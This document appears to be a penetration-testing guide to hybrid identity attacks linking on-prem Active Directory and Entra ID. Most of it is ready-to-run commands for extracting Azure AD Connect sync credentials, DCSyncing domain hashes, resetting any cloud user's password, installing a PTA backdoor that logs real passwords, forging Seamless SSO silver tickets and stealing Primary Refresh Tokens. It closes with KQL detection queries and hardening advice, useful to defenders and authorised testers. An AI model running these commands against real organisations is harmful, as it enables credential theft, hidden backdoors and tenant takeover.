Hybrid Identity Attacks

Most enterprises connect on-prem Active Directory to Entra ID (Azure AD) using hybrid identity solutions. Azure AD Connect, Pass-Through Authentication, Seamless SSO, and Primary Refresh Tokens create new attack paths between on-prem and cloud — compromising one side often gives access to the other. This is the #1 modern gap in internal pentest methodology.

Danger

Hybrid identity attacks cross the on-prem/cloud boundary. Ensure your scope covers BOTH environments. Modifying Azure AD Connect sync accounts, PTA agents, or PRT keys directly impacts cloud authentication.

🎯 Why Hybrid Identity Is the #1 Attack Gap

  • On-Prem → Cloud: Azure AD Connect servers store cleartext cloud admin credentials — compromising one gives Global Admin in the tenant.
  • Cloud → On-Prem: Cloud-only Global Admins can DCSync on-prem AD via the AD Connect sync account.
  • Invisible Backdoors: PTA agent backdoors allow authentication as ANY user without leaving traditional logs.
  • Universal Deployment: 90%+ of enterprise M365 tenants use Azure AD Connect — this attack surface exists in almost every engagement.

Azure AD Connect Architecture

Azure AD Connect synchronizes identities between on-prem AD and Entra ID. It creates two critical service accounts:

Account Where Privileges Impact
MSOL_* / AAD_* On-Prem AD Replicating Directory Changes (DCSync) Full AD compromise via DCSync
Sync_*@tenant.onmicrosoft.com Entra ID Directory Synchronization / Global Admin equivalent Cloud tenant takeover, password reset any user

Extracting Azure AD Connect Credentials

AADInternals (PowerShell)

powershell
# Must run on the Azure AD Connect server as local admin
Import-Module AADInternals

# Extract sync credentials (MSOL_ and cloud connector account)
Get-AADIntSyncCredentials

# Use the MSOL account for DCSync
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local'

# Use the cloud sync account for tenant access
Connect-AzureAD -Credential (Get-Credential)
# Login as Sync_SERVER_abc123@contoso.onmicrosoft.com
# Must run on the Azure AD Connect server as local admin
Import-Module AADInternals

# Extract sync credentials (MSOL_ and cloud connector account)
Get-AADIntSyncCredentials

# Use the MSOL account for DCSync
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local'

# Use the cloud sync account for tenant access
Connect-AzureAD -Credential (Get-Credential)
# Login as Sync_SERVER_abc123@contoso.onmicrosoft.com

Information

Get-AADIntSyncCredentials returns cleartext credentials for both the on-prem MSOL_ sync account (DCSync rights) and the cloud Sync_ connector account (can reset any cloud user's password).

Manual Database Extraction

bash
# Azure AD Connect stores credentials in a LocalDB or SQL database
# Default path: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

# Using adconnectdump (from Fox-IT/dirkjanm)
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server

# From a remote machine with network access to the AAD Connect server
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server \
  -outputfile aadconnect_creds.txt

# If DPAPI-protected, use the machine key to decrypt
# dpapi.py can extract the key from the machine certificates
# Azure AD Connect stores credentials in a LocalDB or SQL database
# Default path: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

# Using adconnectdump (from Fox-IT/dirkjanm)
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server

# From a remote machine with network access to the AAD Connect server
python3 adconnectdump.py corp.local/admin:Password1@aadconnect-server \
  -outputfile aadconnect_creds.txt

# If DPAPI-protected, use the machine key to decrypt
# dpapi.py can extract the key from the machine certificates

Sync Account Abuse

powershell
# On-prem: MSOL_ account has DCSync rights
# DCSync all hashes
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local' \
  -just-dc

# Cloud: Sync account can reset passwords and set passwords
# Reset any cloud user's password
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Set-AADIntUserPassword -AccessToken $token \
  -SourceAnchor "<base64-objectGUID>" \
  -Password "NewPassword123!" -Verbose

# Or set password directly by UPN
Reset-AADIntServicePassword -AccessToken $token \
  -UserPrincipalName "globaladmin@contoso.com"
# On-prem: MSOL_ account has DCSync rights
# DCSync all hashes
secretsdump.py 'corp.local/MSOL_abc123def456:<password>@dc01.corp.local' \
  -just-dc

# Cloud: Sync account can reset passwords and set passwords
# Reset any cloud user's password
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred
Set-AADIntUserPassword -AccessToken $token \
  -SourceAnchor "<base64-objectGUID>" \
  -Password "NewPassword123!" -Verbose

# Or set password directly by UPN
Reset-AADIntServicePassword -AccessToken $token \
  -UserPrincipalName "globaladmin@contoso.com"

Warning

OPSEC: Resetting passwords via the sync account generates audit events in Entra ID. Extracting credentials is stealthy; using them to reset global admin passwords triggers immediate alerts in well-monitored environments.

Pass-Through Authentication (PTA) Backdoor

PTA agents validate cloud authentication requests against on-prem AD. If you compromise a PTA agent server, you can install a backdoor that accepts any password for any user — providing invisible authentication bypass to the entire cloud tenant. A rogue PTA agent can also be registered from any machine you control.

powershell
# Install PTA backdoor (on PTA agent server, as local admin)
Import-Module AADInternals
Install-AADIntPTASpy

# View intercepted credentials (logs real passwords)
Get-AADIntPTASpyLog

# Remove the backdoor
Remove-AADIntPTASpy

# Register a rogue PTA agent from any machine
Register-AADIntPTAAgent -MachineName "YOURPC" -FileName "PTA-cert.pfx"
# Install PTA backdoor (on PTA agent server, as local admin)
Import-Module AADInternals
Install-AADIntPTASpy

# View intercepted credentials (logs real passwords)
Get-AADIntPTASpyLog

# Remove the backdoor
Remove-AADIntPTASpy

# Register a rogue PTA agent from any machine
Register-AADIntPTAAgent -MachineName "YOURPC" -FileName "PTA-cert.pfx"

Information

Impact: A PTA backdoor allows authentication as ANY synced user (including Global Admins) with ANY password. The real password is never changed, and the legitimate user continues to authenticate normally. Traditional credential theft detection is completely bypassed.

Seamless SSO Silver Ticket

Seamless SSO creates a computer account AZUREADSSOACC in on-prem AD. Its Kerberos decryption key is shared with Entra ID to validate Kerberos tickets. If you extract this key, you can forge silver tickets to authenticate as any synced user to Azure/M365 without knowing their password.

bash
# Step 1: Extract AZUREADSSOACC password hash (requires DCSync or DA)
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
  -just-dc-user 'AZUREADSSOACC$'

# Step 2: Forge Silver Ticket for any user
# SPN: HTTP/autologon.microsoftazuread-sso.com
ticketer.py -nthash <AZUREADSSOACC-hash> \
  -domain-sid S-1-5-21-domain \
  -domain corp.local \
  -spn HTTP/autologon.microsoftazuread-sso.com \
  -user-id <target-user-objectSid-RID> \
  admin@corp.local

# Step 3: Use the ticket to get Azure access token
# Submit the Kerberos ticket to the SSO endpoint
# AADInternals automates this:
Import-Module AADInternals
$kerberos = New-AADIntKerberosTicket -SidString "S-1-5-21-...-1234" \
  -Hash "<AZUREADSSOACC-hash>"

$at = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos \
  -Domain corp.local
# $at is now a valid Azure access token for that user
# Step 1: Extract AZUREADSSOACC password hash (requires DCSync or DA)
secretsdump.py 'corp.local/admin:Password1@dc01.corp.local' \
  -just-dc-user 'AZUREADSSOACC$'

# Step 2: Forge Silver Ticket for any user
# SPN: HTTP/autologon.microsoftazuread-sso.com
ticketer.py -nthash <AZUREADSSOACC-hash> \
  -domain-sid S-1-5-21-domain \
  -domain corp.local \
  -spn HTTP/autologon.microsoftazuread-sso.com \
  -user-id <target-user-objectSid-RID> \
  admin@corp.local

# Step 3: Use the ticket to get Azure access token
# Submit the Kerberos ticket to the SSO endpoint
# AADInternals automates this:
Import-Module AADInternals
$kerberos = New-AADIntKerberosTicket -SidString "S-1-5-21-...-1234" \
  -Hash "<AZUREADSSOACC-hash>"

$at = Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos \
  -Domain corp.local
# $at is now a valid Azure access token for that user

Warning

Key Rotation: The AZUREADSSOACC password is NOT automatically rotated. Many organizations have never rotated it since deployment. Microsoft recommends rotating every 30 days via Update-AzureADSSOForest.

Primary Refresh Token (PRT) Theft

The Primary Refresh Token is a long-lived token issued to Azure AD joined or hybrid-joined devices. It provides SSO to all Azure/M365 services and satisfies the "device is compliant" Conditional Access check. Stealing a PRT gives full access to a user's cloud resources with device compliance bypass.

bash
# Check PRT status on a device
dsregcmd /status
# Look for: AzureAdPrt: YES

# Method 1: ROADtools — extract PRT via browser cookie (requires user session)
# Uses the BrowserCore.exe helper to get PRT cookie
roadtx prt --username user@contoso.com

# Method 2: Mimikatz — extract PRT from CloudAP plugin
sekurlsa::cloudap
# Extracts ProofOfPossessionCookie (PRT)
# Requires SYSTEM + user session

# Method 3: RequestSecurityToken via ROADtoken
# Registers a new device and gets a PRT
roadtx auth -u user@contoso.com -p Password1
roadtx device -a register -n "Rogue Device"
roadtx prt -a request

# Use stolen PRT to get access tokens
roadtx prt -a access -r https://graph.microsoft.com

# Pass PRT cookie in browser (x-ms-RefreshTokenCredential header)
# Use with browser extensions or mitmproxy to inject the PRT cookie
# Check PRT status on a device
dsregcmd /status
# Look for: AzureAdPrt: YES

# Method 1: ROADtools — extract PRT via browser cookie (requires user session)
# Uses the BrowserCore.exe helper to get PRT cookie
roadtx prt --username user@contoso.com

# Method 2: Mimikatz — extract PRT from CloudAP plugin
sekurlsa::cloudap
# Extracts ProofOfPossessionCookie (PRT)
# Requires SYSTEM + user session

# Method 3: RequestSecurityToken via ROADtoken
# Registers a new device and gets a PRT
roadtx auth -u user@contoso.com -p Password1
roadtx device -a register -n "Rogue Device"
roadtx prt -a request

# Use stolen PRT to get access tokens
roadtx prt -a access -r https://graph.microsoft.com

# Pass PRT cookie in browser (x-ms-RefreshTokenCredential header)
# Use with browser extensions or mitmproxy to inject the PRT cookie

Password Hash Sync (PHS) Abuse

With PHS, password hashes are synced from on-prem AD to the cloud. The Azure AD Connect server has access to all password hashes. The MSOL_ sync account can perform DCSync to extract all on-prem hashes.

powershell
# Extract cloud-synced hashes (requires Sync account credentials)
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred

Get-AADIntSyncObjects -AccessToken $token -Type User | 
  Select-Object UserPrincipalName, SourceAnchor, CloudAnchor

# Extract the synchronization encryption key
Get-AADIntSyncEncryptionKey
# Extract cloud-synced hashes (requires Sync account credentials)
Import-Module AADInternals
$token = Get-AADIntAccessTokenForAADGraph -Credentials $cred

Get-AADIntSyncObjects -AccessToken $token -Type User | 
  Select-Object UserPrincipalName, SourceAnchor, CloudAnchor

# Extract the synchronization encryption key
Get-AADIntSyncEncryptionKey

Detection & Blue Team

Attack Detection Source Indicator
AAD Connect credential theft Windows Security Log Suspicious logon to AAD Connect server, database access
PTA backdoor Entra ID Audit Logs New PTA agent registration, authentication from unexpected IPs
Seamless SSO ticket Entra ID Sign-In Logs SSO authentication from unexpected networks or devices
PRT theft Entra ID + Endpoint PRT usage from non-registered device, anomalous location
Sync account password reset Entra ID Audit Logs Password change by Sync_ account — should never happen outside maintenance
text
// KQL — Detect new PTA agent registrations
AuditLogs
| where OperationName == "Register connector"
| where ActivityDisplayName has "PassThroughAuthentication"
| project TimeGenerated, InitiatedBy, TargetResources, ResultDescription

// KQL — Detect Sync account suspicious activity
SigninLogs
| where UserPrincipalName startswith "Sync_"
| where AppDisplayName != "Azure Active Directory Connect"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress

// KQL — Detect AZUREADSSOACC Kerberos ticket forgery
// Monitor for SSO logins from unexpected IP ranges
SigninLogs
| where AuthenticationDetails has "seamlessSSO"
| where IPAddress !in (expected_corporate_ranges)
| project TimeGenerated, UserPrincipalName, IPAddress, DeviceDetail
// KQL — Detect new PTA agent registrations
AuditLogs
| where OperationName == "Register connector"
| where ActivityDisplayName has "PassThroughAuthentication"
| project TimeGenerated, InitiatedBy, TargetResources, ResultDescription

// KQL — Detect Sync account suspicious activity
SigninLogs
| where UserPrincipalName startswith "Sync_"
| where AppDisplayName != "Azure Active Directory Connect"
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress

// KQL — Detect AZUREADSSOACC Kerberos ticket forgery
// Monitor for SSO logins from unexpected IP ranges
SigninLogs
| where AuthenticationDetails has "seamlessSSO"
| where IPAddress !in (expected_corporate_ranges)
| project TimeGenerated, UserPrincipalName, IPAddress, DeviceDetail

Hardening Recommendations

Tier 0 Protection for AAD Connect

Treat AAD Connect servers as Tier 0 assets. Restrict admin access, enable MFA, and monitor all logons.

Rotate AZUREADSSOACC Key

Rotate the Seamless SSO key every 30 days using Update-AzureADSSOForest.

Monitor PTA Agent Registration

Alert on new PTA agent registrations in Entra ID audit logs — should only happen during planned deployments.

Consider Cloud-Only Auth

Where possible, migrate to cloud-managed authentication (FIDO2, Passkeys) to eliminate the on-prem attack surface.